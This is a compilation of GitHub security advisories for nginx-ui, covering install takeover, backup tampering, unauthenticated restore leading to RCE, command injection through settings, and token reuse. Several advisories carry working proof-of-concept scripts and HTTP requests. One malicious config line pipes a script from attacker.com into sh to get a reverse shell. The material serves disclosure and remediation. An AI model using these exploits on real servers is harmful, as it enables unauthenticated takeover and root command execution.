When the instance is still uninitialized, POST /api/install is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.

This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.

The primary attack path is direct network access to a reachable fresh instance.[^cors]

This was reproduced over HTTP against live local instances started from nginx-ui v2.3.5 using Docker image uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a (org.opencontainers.image.version=2.3.5, revision 1a9cd29a308278173aa0f16234cb78061dd2bd42).

Impact

This issue allows full unauthenticated takeover of a fresh nginx-ui instance during the initial installation window.

The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.

In live testing, the attacker was able to:

- confirm that the target was still uninitialized - submit attacker-chosen bootstrap credentials - lock the installation under attacker control - immediately authenticate as the newly set administrator

Observed values during live reproduction included:

text INSTALLBEFORE={"lock":false,"timeout":false} INSTALLPOST={"message":"ok"} INSTALLAFTER={"lock":true,"timeout":false} LOGINRESPONSE={"message":"ok","code":200,...,"shorttoken":"qIJAE3dQMm3afhaV"}

Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.

PoC

The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only bash, curl, and openssl.

Standalone PoC:

bash #!/usr/bin/env bash set -euo pipefail

baseurl="http://127.0.0.1:9000" email="poc2@nginxui.test" username="pocverify2" password="Passw0rd123"

tmpdir="$(mktemp -d)" trap 'rm -rf "$tmpdir"' EXIT

installbefore="$(curl -fsS "${baseurl}/api/install")" printf 'INSTALLBEFORE=%s\n' "$installbefore"

keyjson="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \ "${baseurl}/api/crypto/publickey")"

keyescaped="$(printf '%s' "$keyjson" | sed -n 's/."publickey":"\(.\)","requestid"./\1/p')" printf '%b' "$keyescaped" > "${tmpdir}/publickey.pem" openssl rsa -RSAPublicKeyin -in "${tmpdir}/publickey.pem" -pubout -out "${tmpdir}/publickeyspki.pem" >/dev/null 2>&1

printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json" encryptedinstall="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/publickeyspki.pem" -pkeyopt rsapaddingmode:pkcs1 -in "${tmpdir}/install.json" \ | openssl base64 -A )"

installpost="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encryptedparams\":\"${encryptedinstall}\"}" \ "${baseurl}/api/install")" printf 'INSTALLPOST=%s\n' "$installpost"

installafter="$(curl -fsS "${baseurl}/api/install")" printf 'INSTALLAFTER=%s\n' "$installafter"

printf '{"name":"%s","password":"%s","otp":"","recoverycode":""}' "$username" "$password" > "${tmpdir}/login.json" encryptedlogin="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/publickeyspki.pem" -pkeyopt rsapaddingmode:pkcs1 -in "${tmpdir}/login.json" \ | openssl base64 -A )"

loginresponse="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encryptedparams\":\"${encryptedlogin}\"}" \ "${baseurl}/api/login")" printf 'LOGINRESPONSE=%s\n' "$loginresponse"

Observed output during live verification:

text INSTALLBEFORE={"lock":false,"timeout":false} INSTALLPOST={"message":"ok"} INSTALLAFTER={"lock":true,"timeout":false} LOGINRESPONSE={"message":"ok","code":200,"token":"<redacted>","shorttoken":"qIJAE3dQMm3afhaV"}

Steps to Reproduce

1. Start a fresh local nginx-ui v2.3.5 instance from the tested Docker image digest with empty /etc/nginx and /etc/nginx-ui directories.

bash mkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui

docker run -d --rm --name nginx-ui-poc \ -v "$PWD/.tmp/poc-nginx:/etc/nginx" \ -v "$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui" \ uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a

2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:

bash docker exec -it nginx-ui-poc bash

Then set baseurl to http://127.0.0.1:9000 and run the standalone PoC.

3. Observe the output.

Actual result:

- GET /api/install returns {"lock":false,"timeout":false} - POST /api/install returns {"message":"ok"} - a follow-up GET /api/install returns {"lock":true,"timeout":false} - POST /api/login succeeds with the attacker-chosen username and password and returns a valid token

Expected result:

- arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret - POST /api/install should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor - attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup

Suggested Fix

1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.

2. Require a local-only or out-of-band bootstrap secret for POST /api/install, for example: - generate a one-time setup token at startup - print or store it locally on the host - require that token to complete initialization

3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.

4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as /api/selfcheck and /api/restore.

5. As defense in depth, narrow CORS on setup endpoints. POST /api/install should not be callable cross-origin by arbitrary websites.

6. Add regression tests covering: - unauthenticated remote POST /api/install being rejected by default - no installation claim without a valid bootstrap secret - /api/selfcheck and /api/restore requiring authentication - no cross-origin installation via browser preflight and JSON POST

[^cors]: In live testing, OPTIONS /api/install returned Access-Control-Allow-Origin: . That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The nginx-ui backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.

Details The backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (hashinfo.txt) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.

Because the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.

The backup system is built around the following workflow:

1. Backup files are compressed into nginx-ui.zip and nginx.zip. 2. The files are encrypted using AES-256-CBC. 3. SHA-256 hashes of the encrypted files are stored in hashinfo.txt. 4. The hash file is also encrypted with the same AES key and IV. 5. The AES key and IV are provided to the client as a "backup security token".

This architecture creates a circular trust model:

- The encryption key is available to the client. - The integrity metadata is encrypted with that same key. - The restore process trusts hashes contained within the backup itself.

Because the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.

Environment - OS: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64) - Application Version: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0) - Deployment: Docker Container default installation - Relevant Source Files: - backupcrypto.go - backup.go - restore.go - SystemRestoreContent.vue

PoC 1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the .key file. <img width="1483" height="586" alt="image" src="https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f" />

2. Decrypt the nginx-ui.zip archive using the obtained token. import base64 import os import sys import zipfile from io import BytesIO from Crypto.Cipher import AES from Crypto.Util.Padding import unpad

def decryptaescbc(encrypteddata: bytes, keyb64: str, ivb64: str) -> bytes: key = base64.b64decode(keyb64) iv = base64.b64decode(ivb64) cipher = AES.new(key, AES.MODECBC, iv) decrypted = cipher.decrypt(encrypteddata) return unpad(decrypted, AES.blocksize)

def processlocalbackup(filepath, token, outputdir): keyb64, ivb64 = token.split(":") os.makedirs(outputdir, existok=True) print(f"[] File processing: {filepath}") with zipfile.ZipFile(filepath, 'r') as mainzip: mainzip.extractall(outputdir) filestodecrypt = ["hashinfo.txt", "nginx-ui.zip", "nginx.zip"] for filename in filestodecrypt: path = os.path.join(outputdir, filename) if os.path.exists(path): with open(path, "rb") as f: encrypted = f.read() decrypted = decryptaescbc(encrypted, keyb64, ivb64) outpath = path + ".decrypted" with open(outpath, "wb") as f: f.write(decrypted) print(f"[] Successfully decrypted: {outpath}")

Manual config BACKUPFILE = "backup-20260314-151959.zip" TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" OUTPUT = "decrypted"

if name == "main": processlocalbackup(BACKUPFILE, TOKEN, OUTPUT)

3. Modify the contained app.ini to inject malicious configuration (e.g., StartCmd = bash). 4. Re-compress the files and calculate the new SHA-256 hash. 5. Update hashinfo.txt with the new, legitimate-looking hashes for the modified files. 6. Encrypt the bundle again using the original Key and IV. import base64 import hashlib import os import zipfile from Crypto.Cipher import AES from Crypto.Util.Padding import pad

def encryptfile(data, keyb64, ivb64): key = base64.b64decode(keyb64) iv = base64.b64decode(ivb64) cipher = AES.new(key, AES.MODECBC, iv) return cipher.encrypt(pad(data, AES.blocksize))

def buildrebuiltbackup(files, token, outputfilename="backuprebuild.zip"): keyb64, ivb64 = token.split(":") encryptedblobs = {} for fname in files: with open(fname, "rb") as f: data = f.read() blob = encryptfile(data, keyb64, ivb64)

targetname = fname.replace(".decrypted", "") encryptedblobs[targetname] = blob print(f"[] Cipher {targetname}: {len(blob)} bytes")

hashcontent = "" for name, blob in encryptedblobs.items(): h = hashlib.sha256(blob).hexdigest() hashcontent += f"{name}: {h}\n" encryptedhashinfo = encryptfile(hashcontent.encode(), keyb64, ivb64) encryptedblobs["hashinfo.txt"] = encryptedhashinfo

with zipfile.ZipFile(outputfilename, 'w', compression=zipfile.ZIPDEFLATED) as zf: for name, blob in encryptedblobs.items(): zf.writestr(name, blob) print(f"\n[] Backup rebuild: {outputfilename}") print(f"[] Verificando integridad...")

TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" FILES = ["nginx-ui.zip.decrypted", "nginx.zip.decrypted"]

if name == "main": buildrebuiltbackup(FILES, TOKEN) 7. Upload the tampered backup to the nginx-ui restore interface. <img width="1059" height="290" alt="image" src="https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a" />

8. Observation: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host. <img width="1316" height="627" alt="image" src="https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6" />

Impact An attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.

Potential impacts include:

- Persistent configuration tampering - Backdoor insertion into nginx configuration - Execution of attacker-controlled commands depending on configuration settings - Full compromise of the nginx-ui instance

The severity depends on the restore permissions and deployment configuration.

Recommended Mitigation

1. Introduce a trusted integrity root Integrity metadata must not be derived solely from data contained in the backup. Possible solutions include: - Signing backup metadata using a server-side private key - Storing integrity metadata separately from the backup archive

2. Enforce integrity verification The restore operation must abort if hash verification fails.

3. Avoid circular trust models If encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.

4. Optional cryptographic improvements While not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.

This vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.

Regression

The previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.

The backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.

As a result, the fundamental integrity weakness remains exploitable even after the previous fix.

A patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

1 / 2
Source: GitHub
First published (updated )
Severity
9
Code Injection, SQL Injection, Command Injection, OS Command Injection
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Product: nginx-ui Repository: 0xJacky/nginx-ui (branch: dev) Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection Affected Component: POST /api/restore

---

1. Vulnerability Summary

nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments.

The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).

---

2. Root Cause Analysis

2.1 The Restore Route Is Registered Without Authentication

backup.InitRouter is called on the root group, which carries only IPWhiteList() middleware — no AuthRequired(): 1

The route definition: 2

2.2 The authIfInstalled Guard Has a Time-Bounded Bypass

The only authentication guard on the restore route is authIfInstalled: 3

It calls AuthRequired() only when InstallLockStatus() || IsInstallTimeoutExceeded() is true. Both conditions are false on a fresh install within the first 10 minutes: 4

- InstallLockStatus() returns false because JwtSecret is "" on a fresh install and SkipInstallation defaults to false. - IsInstallTimeoutExceeded() returns false for the first 10 minutes after startupTime is set in init().

When both are false, authIfInstalled calls ctx.Next() with zero authentication.

2.3 The EncryptedForm Middleware Is Not a Security Barrier

The EncryptedForm() middleware between authIfInstalled and RestoreBackup is optional — it only activates if the request includes an encryptedparams field. If that field is absent, it calls c.Next() immediately: 5

An attacker sends a plain multipart/form-data request without encryptedparams and the middleware is a no-op.

2.4 The Attacker Controls the AES Key Used to Verify the Backup

The restore handler accepts the AES key and IV directly from the attacker via the securitytoken form field: 6

The manifest integrity check derives its HMAC signing key from the attacker-supplied AES key: 7

Since the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.

2.5 Restore Overwrites app.ini and the SQLite Database Unconditionally

When restorenginxui=true, restoreNginxUIConfig directly copies files from the backup onto disk with no content validation: 8

2.6 Restored TestConfigCmd Is Executed as a Shell Command

After restore, risefront.Restart() is called, reloading app.ini: 9

On the next call to TestConfig(), the value of TestConfigCmd from the restored app.ini is passed verbatim to /bin/sh -c: 10 11

---

3. Attack Prerequisites

| Requirement | Notes | |---|---| | Network access to nginx-ui port | Default: 9000/tcp | | Target is a fresh install | JwtSecret is empty in app.ini | | Within 10 minutes of last process start | Window resets on every restart | | IP not blocked by IPWhiteList | Default config has no IP whitelist |

The 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets startupTime via init(), reopening the window.

---

4. Step-by-Step Proof of Concept

Step 1 — Confirm the installation window is open

http GET /api/install HTTP/1.1 Host: target:9000

Expected response confirming vulnerability: json {"lock": false, "timeout": false}

Step 2 — Craft the malicious backup

The backup format (derived from internal/backup/backup.go) is:

backup-TIMESTAMP.zip ← outer ZIP (unencrypted) ├── manifest.json ← JSON manifest ├── manifest.sig ← HMAC-SHA256 of manifest.json ├── nginx-ui.zip ← AES-CBC encrypted inner ZIP └── nginx.zip ← AES-CBC encrypted inner ZIP

2a. Generate a random 32-byte AES key and 16-byte IV.

2b. Create the malicious app.ini to place inside nginx-ui.zip:

ini [app] JwtSecret = attackerchosenjwtsecret32chars

[node] Secret = attackerchosennodesecret

[nginx] TestConfigCmd = curl http://attacker.com/shell.sh|sh

2c. Create a SQLite database (nginx-ui.db) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).

2d. Package app.ini and nginx-ui.db into nginx-ui.zip. Package an empty or minimal nginx.zip.

2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.

2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build manifest.json:

json { "schema": 1, "createdat": "20260421-120000", "version": "2.0.0", "files": [ {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>}, {"name": "nginx.zip", "sha256": "<hash>", "size": <size>} ] }

2g. Compute the HMAC-SHA256 signature of manifest.json using the signing key derived as:

python import hashlib, hmac context = b"nginx-ui-backup-signing-v1:" signingkey = hashlib.sha256(context + aeskey).digest() sig = hmac.new(signingkey, manifestbytes, hashlib.sha256).hexdigest()

2h. Assemble the outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.

Step 3 — Upload the malicious backup (no authentication required)

http POST /api/restore HTTP/1.1 Host: target:9000 Content-Type: multipart/form-data; boundary=----Boundary

------Boundary Content-Disposition: form-data; name="backupfile"; filename="evil.zip" Content-Type: application/zip

[crafted backup bytes] ------Boundary Content-Disposition: form-data; name="securitytoken"

<base64(aeskey)>:<base64(aesiv)> ------Boundary Content-Disposition: form-data; name="restorenginxui"

true ------Boundary--

Expected response (HTTP 200): json {"nginxuirestored": true, "nginxrestored": false, "hashmatch": true}

nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.

Step 4 — Trigger RCE using the restored node secret

After the restart (wait ~3 seconds):

http POST /api/nginx/test HTTP/1.1 Host: target:9000 X-Node-Secret: attackerchosennodesecret

nginx-ui executes: sh /bin/sh -c "curl http://attacker.com/shell.sh|sh"

The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).

---

5. Impact

- Confidentiality: Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in app.ini. - Integrity: Arbitrary modification of all nginx configurations and nginx-ui application state. - Availability: Complete denial of service; nginx and nginx-ui can be stopped or misconfigured. - Scope: OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.

---

6. Affected Versions

All versions of nginx-ui where authIfInstalled is used as the sole authentication guard on POST /api/restore. The vulnerability is present in the current dev branch.

---

7. Recommended Fix

Primary fix — Require authentication unconditionally on the restore endpoint. The "allow restore during initial setup" design rationale does not justify unauthenticated access to a file-write primitive:

go // api/backup/router.go func InitRouter(r gin.RouterGroup) { r.GET("/backup", middleware.AuthRequired(), CreateBackup) r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup) }

If restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.

Secondary fix — Validate the content of restored app.ini before writing it to disk. Specifically, TestConfigCmd, ReloadCmd, and RestartCmd should be rejected or stripped from any externally-supplied backup.

---

8. Timeline

| Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) |

Citations

File: router/routers.go (L61-70) go root := r.Group("/api", middleware.IPWhiteList()) { public.InitRouter(root) crypto.InitPublicRouter(root) user.InitAuthRouter(root) license.InitRouter(root)

system.InitPublicRouter(root) system.InitSelfCheckRouter(root) backup.InitRouter(root)

File: api/backup/router.go (L9-16) go // authIfInstalled requires auth if system is installed func authIfInstalled(ctx gin.Context) { if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() { middleware.AuthRequired()(ctx) } else { ctx.Next() } }

File: api/backup/router.go (L18-25) go func InitRouter(r gin.RouterGroup) { // Backup always requires authentication (contains sensitive data) r.GET("/backup", middleware.AuthRequired(), CreateBackup)

// Restore requires auth only after installation // This allows restoring backup during initial setup r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup) }

File: api/system/install.go (L27-34) go func InstallLockStatus() bool { return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != "" }

// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded func IsInstallTimeoutExceeded() bool { return time.Since(startupTime) > 10time.Minute }

File: internal/middleware/encryptedparams.go (L69-75) go // Check if encryptedparams field exists encryptedParams := c.Request.FormValue("encryptedparams") if encryptedParams == "" { // No encryption, continue normally c.Next() return }

File: api/backup/restore.go (L35-70) go securityToken := c.PostForm("securitytoken") // Get concatenated key and IV // Get backup file backupFile, err := c.FormFile("backupfile") if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error())) return }

// Validate security token if securityToken == "" { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return }

// Split security token to get Key and IV parts := strings.Split(securityToken, ":") if len(parts) != 2 { cosy.ErrHandler(c, backup.ErrInvalidSecurityToken) return }

aesKey := parts[0] aesIv := parts[1]

// Decode Key and IV from base64 key, err := base64.StdEncoding.DecodeString(aesKey) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error())) return }

iv, err := base64.StdEncoding.DecodeString(aesIv) if err != nil { cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error())) return }

File: api/backup/restore.go (L126-132) go if restoreNginxUI { go func() { time.Sleep(2 time.Second) // gracefully restart risefront.Restart() }() }

File: internal/backup/manifest.go (L156-163) go func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) { if len(aesKey) == 0 { return nil, ErrInvalidAESKey }

sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...)) return sum[:], nil }

File: internal/backup/restore.go (L458-484) go // restoreNginxUIConfig restores nginx-ui configuration files func restoreNginxUIConfig(nginxUIBackupDir string) error { // Get config directory configDir := filepath.Dir(cosysettings.ConfPath) if configDir == "" { return ErrConfigPathEmpty }

// Restore app.ini to the configured location srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini") if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil { return err }

// Restore database file if exists dbName := settings.DatabaseSettings.GetName() srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db") destDBPath := filepath.Join(configDir, dbName+".db")

// Only attempt to copy if database file exists in backup if , err := os.Stat(srcDBPath); err == nil { if err := copyFile(srcDBPath, destDBPath); err != nil { return err } }

return nil

File: internal/nginx/nginx.go (L25-36) go func TestConfig() (stdOut string, stdErr error) { mutex.Lock() defer mutex.Unlock() if settings.NginxSettings.TestConfigCmd != "" { return execShell(settings.NginxSettings.TestConfigCmd) } sbin := GetSbinPath() if sbin == "" { return execCommand("nginx", "-t") } return execCommand(sbin, "-t") }

File: internal/nginx/exec.go (L12-28) go func execShell(cmd string) (stdOut string, stdErr error) { var execCmd exec.Cmd

if runtime.GOOS == "windows" { execCmd = exec.Command("cmd", "/c", cmd) } else { execCmd = exec.Command("/bin/sh", "-c", cmd) }

execCmd.Dir = GetNginxExeDir() bytes, err := execCmd.CombinedOutput() stdOut = string(bytes) if err != nil { stdErr = err } return }

1 / 2
Source: GitHub
First published (updated )
Severity
8.9
EPSS
25.67%
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.0.0-beta.36, when Nginx UI configures logrotate, it does not verify the input and directly passes it to exec.Command, causing arbitrary command execution. Version 2.0.0-beta.36 fixes this issue.

First published (updated )
Severity
8.8
EPSS
0.11%
Command Injection
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

Summary The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes testconfigcmd, reloadcmd and restartcmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. go func InitPrivateRouter(r gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The SaveSettings function is defined as follows: go func SaveSettings(c gin.Context) { var json struct { ... Nginx settings.Nginx json:"nginx" ... }

...

settings.NginxSettings = json.Nginx

...

err := settings.Save() ... } The testconfigcmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function: go func TestConf() (out string) { if settings.NginxSettings.TestConfigCmd != "" { out = execShell(settings.NginxSettings.TestConfigCmd)

return }

out = execCommand("nginx", "-t")

return } The execShell function is defined as follows: go func execShell(cmd string) (out string) { bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput() out = string(bytes) if err != nil { out += " " + err.Error() } return } Where the cmd argument is user-controlled and is passed to /bin/sh -c. This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "testconfigcmd":"touch /tmp/pwned". http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 528 Authorization: <<JWT TOKEN> Content-Type: application/json

{"nginx":{"accesslogpath":"","errorlogpath":"","configdir":"","pidpath":"","testconfigcmd":"touch /tmp/pwned","reloadcmd":"","restartcmd":""},"openai":{"baseurl":"","token":"","proxy":"","model":""},"server":{"httphost":"0.0.0.0","httpport":"9000","runmode":"debug","jwtsecret":"foo","nodesecret":"foo","httpchallengeport":"9180","email":"foo","database":"foo","startcmd":"","cadir":"","demo":false,"pagesize":10,"githubproxy":""}} 3. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified testconfigcmd setting will be used when the application tries to test the nginx configuration. 4. Verify that /tmp/pwned exists. $ docker exec -it $(docker ps -q) ls -al /tmp -rw-r--r-- 1 root root 0 Dec 14 21:10 pwned

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.42%
Command Injection
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.

Details The Home > Preference page exposes a list of system settings such as Run Mode, Jwt Secret, Node Secret and Terminal Start Command. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the Terminal Start Command setting, it is possible to do so by sending a request to the API.

go func InitPrivateRouter(r gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... }

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.

The SaveSettings function is defined as follows:

go func SaveSettings(c gin.Context) { var json struct { Server settings.Server json:"server" ... }

...

settings.ServerSettings = json.Server

...

err := settings.Save() ... }

The Terminal Start Command setting is stored as settings.ServerSettings.StartCmd. By spawning a terminal with Pty, the StartCmd setting is used:

go func Pty(c gin.Context) { ...

p, err := pty.NewPipeLine(ws)

... }

The NewPipeLine function is defined as follows:

go func NewPipeLine(conn websocket.Conn) (p Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd)

... This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept Based on this setup using uozi/nginx-ui:v2.0.0-beta.7. 1. Login as a newly created user. 2. Send the following request to modify the settings with "startcmd":"bash" : http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: <<JWT TOKEN>> Content-Type: application/json

{"nginx":{"accesslogpath":"","errorlogpath":"","configdir":"","pidpath":"","testconfigcmd":"","reloadcmd":"","restartcmd":""},"openai":{"baseurl":"","token":"","proxy":"","model":""},"server":{"httphost":"0.0.0.0","httpport":"9000","runmode":"debug","jwtsecret":"...","nodesecret":"...","httpchallengeport":"9180","email":"...","database":"foo","startcmd":"bash","cadir":"","demo":false,"pagesize":10,"githubproxy":""}} 3. Open a terminal from the web interface and execute arbitrary commands as root: root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root)

Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.05%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Fix bypass to the following bugs

- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m - https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35

Allowing to inject directly in the app.ini via CRLF to change the value of testconfigcmd and startcmd resulting in an Authenticated RCE

Impact Authenticated Remote execution on the host

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A user who was disabled by an administrator can use previously issued API tokens for up to the token lifetime. In practice, disabling a compromised account does not actually terminate that user’s access, so an attacker who already stole a JWT can continue reading and modifying protected resources after the account is marked disabled.

